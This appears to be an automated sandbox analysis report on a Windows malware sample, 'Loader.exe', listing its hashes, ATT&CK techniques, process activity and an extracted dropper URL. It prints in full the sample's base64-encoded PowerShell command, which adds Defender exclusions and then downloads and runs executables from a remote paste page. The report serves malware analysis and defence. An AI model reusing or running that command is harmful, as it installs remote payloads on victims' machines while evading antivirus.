3d346f297b45a547dae58303d7c92363a4013f4df0ebe5af8405215fc306761c

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
23-06-2024 21:31

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General

Target

Loader/Loader.exe
Size

7KB
MD5

a59db21c45ddbf490cb3dbc04a4482b5
SHA1

df2dfcadf42b704b1411ad206d4c2daeab0de0d1
SHA256

d576ea6364ee599b140b2acb69a0b1e1bad3450dca5716d1f582a65340b28656
SHA512

0c9042be85607f3e8b9e70f3b99d79761046653e770813a22a627616e35e4ade5677566e71512dc73e50fbe5a32d148b31420c3930060070f4894d9f8f2747df
SSDEEP

192:gSP9nqvjXP3xszgz8mocPcKz4UbvkVQ+cPcKQ8w/HvvNu5dO:gSP9qvLJO9NcPcEkVQ+cPc15v4vO

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/Lk51111111/raw

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

3 3020 powershell.exe
4 3020 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3020 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3020 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3020 powershell.exe

flow	pid	process
3	3020	powershell.exe
4	3020	powershell.exe

pid	process
3020	powershell.exe

pid	process
3020	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

Loader.exe

description	pid	process	target process
PID 2412 wrote to memory of 3020	2412	Loader.exe	powershell.exe
PID 2412 wrote to memory of 3020	2412	Loader.exe	powershell.exe
PID 2412 wrote to memory of 3020	2412	Loader.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Loader\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader\Loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbQBiACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB3AG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBhAGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBjAHMAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEwAawA1ADEAMQAxADEAMQAxADEALwByAGEAdwAnACkALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdACIAYAByAGAAbgAiACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AE4AbwBuAGUAKQA7ACAAJABmAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAUgBhAG4AZABvAG0ARgBpAGwAZQBOAGEAbQBlACgAKQA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAPAAjAG4AdgByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcAB6AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdQBrAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAKQAgAH0APAAjAHgAcQBhACMAPgA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAdQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB6AHMAZgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQAgAH0AIAA8ACMAZQB1AG4AIwA+AA=="
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3020

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2412-0-0x000007FEF5BF3000-0x000007FEF5BF4000-memory.dmp

Filesize
4KB

Download
memory/2412-1-0x0000000000BE0000-0x0000000000BE8000-memory.dmp

Filesize
32KB

Download
memory/3020-6-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/3020-7-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/3020-8-0x00000000025A0000-0x00000000025A8000-memory.dmp

Filesize
32KB

Download
memory/3020-9-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download